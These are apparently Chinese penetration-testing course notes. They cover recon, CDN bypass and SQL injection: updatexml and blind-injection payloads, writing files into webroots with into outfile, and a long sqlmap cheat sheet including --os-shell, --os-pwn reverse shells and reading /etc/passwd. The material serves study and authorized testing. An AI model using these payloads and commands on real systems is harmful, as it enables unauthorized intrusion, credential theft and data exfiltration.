第一天基础名词
二级域名与多级域名
二级域名分两种:
- 在国际顶级域名下的二级域名
二级域名一般是指域名注册人选择使用的网上名称,如“yahoo.com”;
上网的商业组织通常使用自己的商标、商号或其他商业标志作为自己的网上名称,如 “microsoft.com”。 - 国家顶级域名下二级域名
在国家顶级域名之下二级域名一般是指类似于国际顶级域名的表示注册人类别和功能的标志。例 如,在“.com.cn”域名结构中,“.com”此时是置于国家顶级域名“.cn”下的二级域名,表示商业性组 织,以此类推。
域名的发现对于安全测试的意义
- 可以给安全测试提供更多的测试点,方便获取更多相关信息
DNS
域名系统(Domain Name System)。它是一个域名和IP地址相互映射的一个分布式数据库,能够 使人更方便地访问互联网。DNS使用UDP端口53。对于每一级域名长度的限制是63个字符,域名总 长度则不能超过253个字符。
本地host与dns的关系
- Hosts在本地将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当我们访问域名 时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如 果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。
- Hosts地址:C:\Windows\System32\drivers\etc\hosts
CDN
是构建在数据网络上的一种分布式的内容分发网。 可以提高系统的响应速度,也可以一定 程度的拦截/防御。
常见的DNS安全攻击
- 缓存投毒:它是利用虚假Internet地址替换掉域名系统表中的地址,进而制造破坏。
- DNS劫持:是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请 求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问 或访问的是假网址。(针对面较广)
- 域名劫持:域名劫持就是在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围 以外的请求放行,否则直接返回假的IP地址或者什么也不做使得请求失去响应,其效果就是对特定 的网址不能访问或访问的是假网址。(针对面窄一点)
- DNS DDOS攻击:通过控制大批僵尸网络利用真实DNS协议栈发起大量域名查询请求,利用工具软 件伪造源IP发送海量DNS查询,发送海量DNS查询报文导致网络带宽耗尽而无法传送正常DNS查询 请求。
常见的脚本语言
asp、php、aspx、jsp、Javaweb、pl、py、cgi等
不同的脚本的安全漏洞存在的地方不同,爆发的可能性也不同
后门
通常指那些绕过安全性控制而获取对程序或系统访问权的程序方法。
在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。
在安全测试中的实际意义
- 可以更方便的链接到主机
- 在获取到玩主机权限的时候,后门可以充当命令控制台的角色
web
web组成的架构模型
- 网站源码:分脚本类型,分应用方向
- 操作系统:windows linux
- 中间件(搭建平台):apache iis tomcat nginx 等
- 数据库:access mysql mssql oracle sybase db2 postsql 等
从web层面为主的原因
- web使用的比较广
- web网站了漏洞相对较多
- web 作为跳板深入到其他资源相对容易
web相关漏洞
- WEB 源码类对应漏洞:SQL 注入,上传,XSS,代码执行,变量覆盖,逻辑漏洞,反序列化等
- WEB 中间件对应漏洞:未授权访问,变量覆盖...
- WEB 数据库对应漏洞:弱口令,权限提升...
- WEB 系统层对应漏洞:提权,远程代码执行
- 其他第三方对应漏洞
- APP 或 PC 应用结合类
第二天数据包拓展
http:HTTP,TCP,IP
https:HTTP,SSL or TLS,TCP,IP
http协议:request与response
多次重放数据包,可能触发重放保护的waf
app访问的数据包与电脑的数据包不同,用电脑访问时,需要将数据包的内容改成与app访问的包的格式一样
第三天搭建安全拓展
ip地址访问可以发现更多的内容(可能访问到整个根目录),而域名访问只能发现根目录下的一个文件夹下的文件(网站目录)
一个网站有多个页面,多个页面是子目录
第四天WEB源码拓展
WEB源码
- web脚本类型:ASP,PHP,ASPX,JSP,JAVAWEB 等脚本类型源码
- 应用分类:社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞
源码实现的函数不同,所以说实现的功能不同,产生的漏洞也不同 - 开源,未开源问题,框架非框架问题,关于 CMS 识别问题及后续等
开源的代码可百度以及咸鱼淘宝去买,第三方源码站 - 框架,可针对框架专门去寻找与框架相关的漏洞
关注应用分类及脚本类型估摸出可能存在的漏洞(其中框架类例外)
例:
ASP、PHP等源码下安全测试
- 平台识别-某cms无漏洞-默认数据库
- 平台识别-某cms有漏洞-漏洞利用
cms:内容管理系统
asp:动态服务器页面(url地址栏中会出现asp字样)
每个文件都有一个MD5值
CMS
什么是cms
内容管理系统(英语:content management system,缩写为 CMS)是指在一个合作模式下,用于管理工作流程的一套制度。该系统可应用于手工操作中,也可以应用到电脑或网络里。作为一种中央储存器(central repository),内容管理系统可将相关内容集中储存并具有群组管理、版本控制等功能。版本控制是内容管理系统的一个主要优势。
内容管理系统在物品或文案或数据的存储、掌管、修订(盘存)、语用充实、文档发布等方面有着广泛的应用。现在流行的开源CMS系统有WordPress、Joomla!、Drupal、Xoops、CmsTop等。
为什么有识别cms
在web渗透过程中,Web指纹识别是信息收集环节中一个比较重要的步骤,通过一些开源的工具、平台或者手工检测CMS系统是公开的CMS程序还是二次开发至关重要,能准确的获取CMS类型、Web服务组件类型及版本信息可以帮助安全工程师快速有效的去验证已知漏洞。对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。
在指纹识别的学习过程中,有很多开源的工具和指纹库,如fofa、WhatWeb、w11scan、WebEye.
识别方式
- 网站特有文件
如/templets/default/style/dedecms.css—dedecms
2.网站独有文件的md5
如favicon.ico,但是该文件可以被修改导致不准确。
3.网站文件命名规则
4.返回头的关键字
5.网页关键字
如/data/sessions/index.html——dedecms
6.Url特征
7.Meta特征
8.Script特征
9.robots.txt
10.网站路径特征
11.网站静态资源
12.爬虫网站目录信息
指纹识别的对象
1、CMS信息:比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等;
2、前端技术:比如HTML5、jquery、bootstrap、pure、ace等;
3、Web服务器:比如Apache、lighttpd, Nginx, IIS等;
4、应用服务器:比如Tomcat、Jboss、weblogic、websphere等;
5、开发语言:比如PHP、Java、Ruby、Python、C#等;
6、操作系统信息:比如linux、win2k8、win7、kali、centos等;
7、CDN信息:是否使用CDN,如cloudflare、360cdn、365cyd、yunjiasu等;
8、WAF信息:是否使用waf,如Topsec、Jiasule、Yundun等;
9、IP及域名信息:IP和域名注册信息、服务商信息等;
10、端口信息:有些软件或平台还会探测服务器开放的常见端口。
在线识别网站
1.http://whatweb.bugscaner.com/look/
2.https://pentest.gdpcisa.org/whatcms
3.https://www.yunsee.cn/(云悉指纹识别,强烈推荐)
第五天系统及数据库
识别操作系统常见方法
- 观察字母大小写,Windows不敏感,linux敏感
例如:www.xxx.com/123.Php等Windows不会报错,而linux会报错 - nmap扫描
nmap -O ip - 看ping值(不准确)
- TTL在64左右,linux
- TTL在128左右,windows
数据库层面
网站分为动态和静态,大部分为动态
静态网站无漏洞
只要要数据传输就有漏洞--->动态网站
脚本文件比较兼容的数据库,推荐组合
asp+access
php+mysql
aspx+mssql
jsp+mssql,oracle
python+mongodb
注:access不支持linux
常见数据库端口号
关系型数据库:
- oracle:1521
- mysql:3306
- SqlServer:1433
NOSQL数据库:
- MongoDB:27017
- redis:6379
- memcached:11211
第三方
如何判断那些有第三方平台或软件
-- 端口扫描
-- 特征匹配
简要为什么要识别第三方平台或软件
-- 可以提供额外的攻击面
常见第三方平台或软件漏洞类型及攻击
-- 弱口令
简要第三方平台或软件安全测试的范围
除去常规WEB安全及APP安全测试外,类似服务器单一或复杂的其他服务( 邮件,游戏,负载均衡 等),也可以作为安全测试目标,此类目标测试原则只是少了WEB应用或其他安全问题。所以明确 安全测试思路是很重要的!
第六天加密编码算法
常见的加密编码等算法解析
MD5,SHA,ASC,进制,时间戳,URL,BASE64,UNescape,AES,DES等
常见的加密形式算法解析
直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等
常见的解密方式(针对)
枚举,自定义逆向算法,可逆向
了解常规加密算法的特性
长度位数,字符规律,代码分析,搜索获取等
在注入时,代码的编码需要和url的一致,否则解析时会出错
第七天CDN
CDN
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。
如何判断目标存在CDN服务
利用多节点技术进行请求返回判断,查看响应时间
命令行中,nslookup ip地址 可以查看节点
CDN对安全测试的影响以及如何绕过
- 子域名查询:有的网站主域名会做CDN,但是子域名可能不会做
- 邮件服务查询:我们访问别人,可能通过CND,但别人访问我们通常不会走CDN
- 国外地址请求:国外没有cdn节点的话,可能直接走原ip
- 遗留文件,扫描全网 例:谷歌语法:
inurl:phpinfo.php
- 黑暗引擎搜索特定文件 例:fofa,zoomeyen,shodan
- dns历史记录,以量打量:CDN节点是有流量上限的,用光之后就会直通原机,这也是一种流量攻 击
子域名上的小技巧
www.xiaodi8.com 和 xiaodi8.com 虽然浏览器访问后内容是一样的,但是内部解析不同
www.xiaodi8.com 解析时主机记录是www
而 xiaodi8.com的主机记录却是 *
通常网站管理员将两个地址解析至同一ip,但搭建CDN服务时候,可能存在网站管理员只将其中一个设置解析至CDN服务器,也就是说 两种访问方式访问的ip并不相同。
就是说因为普通人输网址的时候会默认输入www 所以网站管理员可能只在www.这个域名上设置cdn 判断方法就是看域名解析的IP是否相同
cdn把www代理过去了,*没有,那么你ping的时候加www就是被cdn接过去了,不加www就是访问的没有经过cdn了
一般来讲是就近服务,所以有cdn的,附近的cdn就提供服务。
如果没有*号的主机记录,那么访问xiaodi8.com则不能访问
域名可以自己设置域名地址的前缀,设置之后可以对其中一个域名地址设置cdn服务,而真正的ip地址对应的域名地址可能没设置cdn服务。
DNS历史记录=第三方接口(接口查询)
也可以查到子域名
采集/国外请求( 同类型访问)
不同地区即不同节点访问同一网站解析的IP地址可能不一样
邮件源码测试对比第三方查询(地区分析)
邮件查IP,邮件源码
如何辨别
查看备案号,查看IP地址的归属地(地区分析)
本地清下dns,然后hosts里写上得到的ip和域名,如果是cdn可能会出现刷新异常,如果打开很快 大概率是原机
黑暗引擎(shodan搜指定hash文件)
扫全网
fuckcdn,w8fuckcdn,zmap等
第八天信息收集
信息收集
有无web
有CDN(先行绕过,后续接上)
有CDN先绕过然后进行信息收集
- 国外请求
- 接口查询
- 黑暗引擎
- 扫描全网
- 子域名
- …………
无CDN
- 程序源码
- 内部/未知CMS
- 开源CMS
- 其他
- 对方的操作系统
- 搭建平台
- 数据库类型
- 对方站点搭建(目标多机会大)
- 目录站点
- 端口站点
- 子域名站点
- 旁注/C段站点
- 类似域名站点
- …………
- 防护应用WAF(防止被墙)
- 安全狗
- 宝塔(不全是防护,还有搭建)
- 云盾
- 安骑士
- …………
有无app
涉及web
提取出来进行web的测试
非web协议
- 尝试提取
- 反编译逆向
- 还没有则web查看有无其他
有无其他
资产信息(侧门信息)
- 以上各种平台信息
- whois备案等
- github等监控
第三方应用(从这些入手)
- 数据库应用
- mysql
- mssql
- oracle
- …………
- 各种管理平台
- weblogic
- PHPmyadmin
- …………
- 各种第三方应用
- vsftpd
- nexus
- git
- …………
各种服务接口(发现更多未知的接口尝试)
- 储存服务
- 支付服务
- 内部服务
- …………
微信公众号等找更多应用继续
- 涉及web
- 涉及app
- 涉及其他
内部群内部应用(社工或发现更多未知的应用)
- QQ或者微信群
- 工作群钉钉等
- 其他通讯群
站点搭建分析
- 搭建习惯-目录型站点
- 目录型站点:URL进入的目录不同,web网页展现的不同使用的程序也不同 例如图中的sti.blcu.edu/bbs/其中bbs就是该网站文件下的一个目录,如果bbs该目录被攻击,那么其他的也会波及
- 如何的得到:利用网站目录扫描工具,或者平时自己的点击,经验等
- 搭建习惯-端口类站点
- 访问端口的不同展现的也不同程序也不同,URL:端口
如上图,不加端口默认访问80,加了8080则访问的是另一个网页,都在一个服务器上,所以一个端口出现安全问题,则其他也会出现安全问题, - 如何获取,网上进行信息搜索,也可以对网站进行端口扫描
- 搭建习惯-子域名站点
- 如www.goodlift.net和bbs.goodlift.net展现的内容和运行的程序也不同,这两个网站也可能不在同一个服务器上面,这是和目录型端口型的差别,这两个网站的IP可能不同也可能相同,IP不同但可能在同一网段,相关内网渗透
- 可通过URL上添加robots.txt进行查看程序支持
- 搭建习惯-类似域名站点
- 来自同一公司或者人的不同域名
如何查找:后缀的差异.cn/.com/.net
主要运用于src漏洞挖掘,非法网站
- 搭建习惯-旁注, c段站点
- 旁注:两个网站或者多个网站放在同一个服务器上面,同服务器不同站点
前提条件:对方有多个站点服务器
例如:192.168.1.100有www.a.com www.b.com ………… - C段:同网段不同服务器不同站点
例如:192.168.1.100有www.a.com www.b.com …………
192.168.1.101有www.c.com www.d.com …………
- 搭建习惯-搭建软件特征站点
- 查看搭建软件的类型,可以直接根据该软件出现的漏洞进行攻击
waf防护分析
什么是waf应用
如何识别waf
使用工具去识别,wafwoof
查看网页数据包头,X-Powered-By:WAF
第九天APP信息收集
看不到网站信息和看不到网站时
- 先扫描端口,追求速度用massscan或者nmap
- 黑暗引擎进行搜索(多个不同的黑暗引擎进行搜索),可以查出端口等等(黑暗引擎扫描的端口和工具扫描的有很大的出入),搜索时可以不加www,这样可以搜到子域名
对网站的这些端口进行访问,不断尝试,根据返回的数据包进行访问
第十天资产收集
GitHub监控
便于收集整理最新exp或者poc
便于发现相关测试目标的资产
如果是国内特别正规的网站,在黑暗引擎搜索时发现有国外的域名
可能是seo优化的人员故意写的
各种子域名查询
DNS,备案,证书
全球节点请求CDN
枚举爆破或解析子域名对应
便于发现管理员相关的注册信息
第十一天web漏洞
- SQL注入漏洞-数据库操作危害
- 目录遍历漏洞-源码结构泄露危害(目录结构)
- 文件读取漏洞-源码内容获取危害
- 文件上传漏洞-web权限丢失危害
sql注入---
目录遍历漏洞
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=truman.php
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php
可以看到两个链接都可以进入,url也会展现目录结构,并且也可以执行对应文件
分析dir_list.php
文件
php require是php的内置函数,作用是引入或者包含外部php文件,工作原理是当本身php文件被执行时,则外部文件的内容就将被包含进该自身php文件中;当包含的外部文件发生错误时,系统将抛出错误提示,并且停止php文件的执行。
例如:truman.php作为title的参数传入进来,造成了执行soup/truman.php
尝试创建一个1.php,内容为“hhhhhh123”,尝试执行
执行成功
查看源文件可以看见在inc目录下有config.inc.php
可以执行这个文件得到数据库账号密码,在url上更改title的值为../../../inc/config.inc.php
可以查看,但是本题不能成功,只是包含了并没有读取。
如何获得目录结构呢
利用工具扫描
查看网站源代码
文件上传漏洞---
第十二天简要SQL注入
www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id=10
- 可能存在注入,虽然没有index.php,但是它是默认指向index.php
www.xiaodi8.com/?id=8&x=1
- 多个参数注入,哪个参数有就注入哪个
www.xiaodi8.com/index.php
- post注入,通过提交进行注入
信息收集
- 数据库版本:version()
- 数据库名字:database()
- 数据库用户:user()
- 操作系统:@@version_compile_os
版本探测的意义
在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库 相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。
获取相关信息
- information_schema.tables #information_schema下面的所有表名
- information_schema.columns #information_schema下面所有的列名
- table_name #表名
- column_name #列名
- table_schema #数据库名
数据库名->表名->列名->数据
第十三天SQL注入-mysql注入
跨库注入:如果是普通用户权限就只能在该用户进行注入,如果是root用户权限则可以跨库注入
可以通过跨库注入,注入到目标数据库
跨库注入时,获取对应的表的列名时,最好指定目标数据库,否则可能结果会出现其他数据库的列名,不好分辨
文件读写函数
load_file 文件读取
into outfile 或into dumpfile 文件写入
例:在d盘创建一个www.txt文件并写入x
mysql> select 'x' into outfile 'd:/www.txt'
常见的load_file()读取的敏感信息
https://blog.csdn.net/weixin_30292843/article/details/99381669
路径获取常见方法
报错显示、遗留文件(如phphinfo文件可以看到网站完整路径)、漏洞报错、平台配置文件、爆破等
在url中'/'
可能被当成其他字符被识别,例如:/n
等等,所以可以使用'\'
或者'//'
防止被转义
通过url栏写入后门代码
注意可能源代码中存在limit 0,1
需要注释掉,防止写入不成功
magic_quotes_gpc魔术引号开关
魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。
正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。
在注入时有此开关,我们可以把路径进行hex编码,这样就不会出现单引号,双引号,反斜线,NULL。Hex编码MySQL语句也可以正常解析
第十四天SQL参数提交注入
#简要明确参数类型
数字,字符,搜索,JsoN等
#简要明确请求方法
GET, POST,COOKIE,REQUEST,HTTP头等
其中sql语句干扰符号: ' , " , s , ) , } 等,具体需看写法
GET只能接受GET参数,不能接受POST参数
POST可以同时接受POST和GET参数
GET的数据表现在url上,POST数据在数据包内
在mysql中一般注释后面的字句是采用的--+
在有些的字句中采用#
注释。需要多测试才能发现,为了验证#
是注释符号将#
替换为--+
执行查看结果看到报错信息。
Cookie注入
源代码过滤了post和get注入,就可以考虑cookie注入
cookie注入其原理也和平时的注入一样,只不过说是将提交的参数以cookie方式提交了,而一般的注入是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式。
参数JSON数据注入
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。
json语法
- 数据在名称/值对中
- 数据由逗号分隔
- 大括号保存对象
- 中括号保存数组
JSON 值可以是:
- 数字(整数或浮点数) {“age”:30 }
- 字符串(在双引号中) {“uname”:“yang”}
- 逻辑值(true 或 false) {“flag”:true }
- 数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
- 对象(在大括号中)JSON 对象在大括号({})中书写: null { “runoob”:null }
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
因为传递的是json的数据,所以当引用json的数据时,源代码上会加上"{}"用来表示该处可以带入json传递的数据
第十五天oracle、MongoDB等注入
access,mysql, mssql , mongoDB,postgresql, sqlite,oracle,sybase等
判断网站注入点的权限,看网站连接数据库的配置文件中的用户名,看是谁连接的
access注入
access在市面上已经很少见了,主要和asp搭配
Access数据库
表名
列名
数据
access 数据库都是存放在网站目录下,后缀格式为 mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库。
可以用mysql注入的方法,把字段猜出来,但是access数据库没有数据库名,数据库版本等等,只有单纯的数据,所以说暴力猜解时,union select 1,2,3,4 from admin,如果猜表名为admin正确时,会回显数字,如果错误则出错或者什么都没有,猜测列名正确则可以得到数据
Access三大攻击手法
1.access注入攻击片段-联合查询法 2.access注入攻击片段-逐字猜解法 3.工具类的使用注入(推荐)
mssql注入
参考文档:https://www.cnblogs.com/xishaonian/p/6173644.html
postgresql注入
参考文档:https://www.cnblogs.com/KevinGeorge/p/8446874.html
Oracle注入
参考文档:https://www.cnblogs.com/peterpan0707007/p/8242119.html
mongoDB注入
参考文档:https://www.cnblogs.com/wefeng/p/11503102.html
SQLmap不能识别MongoDB这里介绍nosqlattack:https://github.com/youngyangyang04/NoSQLAttack
SQLmap使用方法
基本操作笔记:-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定sql命令
--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #读取指定文件
--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #要写入的文件绝对路径
--os-cmd=id #执行系统命令
--os-shell #系统交互shell
--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #读取win系统注册表
--priv-esc #
--time-sec= #延迟设置 默认--time-sec=5 为5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass" -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:
第十六天SQL注入之查询方式及报错盲注
网站应用注入类型
具体情况要根据网站功能判断SQL语句进行注入
select查询数据 在网站应用中进行数据显示查询操作 例: select * from news where id=$id
insert插入数据 在网站应用中进行用户注册添加等操作 例: insert into news (id, url,text) values ( 2,'x','$t')
delete删除数据 后台管理里面删除文章删除用户等操作 例: delete from news where id=$id
update更新数据 会员或后台中心数据同步或缓存等操作 例: update user set pwd='$p' where id=2 and username=' admin'
order by排序数据 一般结合表名或列名进行数据排序操作 例: select * from news order by $id 例: select id , name , price from news order by $order
SQL语句盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
1、基于布尔的sQL盲注-逻辑判断 regexp, like , ascii,left, ord , mid
2、基于时间的sQL盲注-延时判断 if ,sleep
3、基于报错的sQL盲注-报错回显 floor, updatexml, extractvalue
参考地址:https://www.jianshu.com/p/bc35f8dd4f7c https://developer.aliyun.com/article/692723
首先了解下updatexml()函数1 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值
例如注入语句
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中0x7e
为'~'
报错
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
SQL时间盲注
1.sleep语句
mysql> select * from member where id=1 and sleep(5);
Empty set (5.00 sec)
会延迟5秒再显示
2.if语句
mysql> select if(database()='pikachu',123,456);
+----------------------------------+
| if(database()='pikachu',123,456) |
+----------------------------------+
| 123 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select if(database()='test',123,456);
+-------------------------------+
| if(database()='test',123,456) |
+-------------------------------+
| 456 |
+-------------------------------+
1 row in set (0.00 sec)
mysql>
if(database()='xxx',123,456);
如果xxx与对应的数据库一样那么则会显示123,反之则显示456
3.if+sleep语句
mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0));
Empty set (5.00 sec)
mysql>
语句的意思就是如果数据是pikachu就延迟5秒输出,不是的话就立即返回,但是在实际渗透过程中由于受到网络的影响时间注入不是很靠谱,
通过这种语句,就可以对目标数据进行猜解,先猜长度,再一个一个猜字母,可以使用bp进行爆破
参考:
like 'ros' #判断ro或ro...是否成立
regexp '^xiaodi [a-z]' #匹配xiaodi及xiaodi...等if(条件,5,0)
sleep (5) #sQL语句延时执行s秒
mid (a, b, c) #从位置b开始,截取a字符串的c位
substr( a,b, c) #从b位置开始,截取字符串a的c长度
left (database(),1), database() #left(a,b)从左侧截取a的前b位
length(database ())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
4.if+mid+sleep
mysql> select database();
+------------+
| database() |
+------------+
| pikachu |
+------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
Empty set (5.00 sec)
布尔盲注
布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。 页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。
布尔注入用到的函数:
mid(str,start,length) :字符串截取
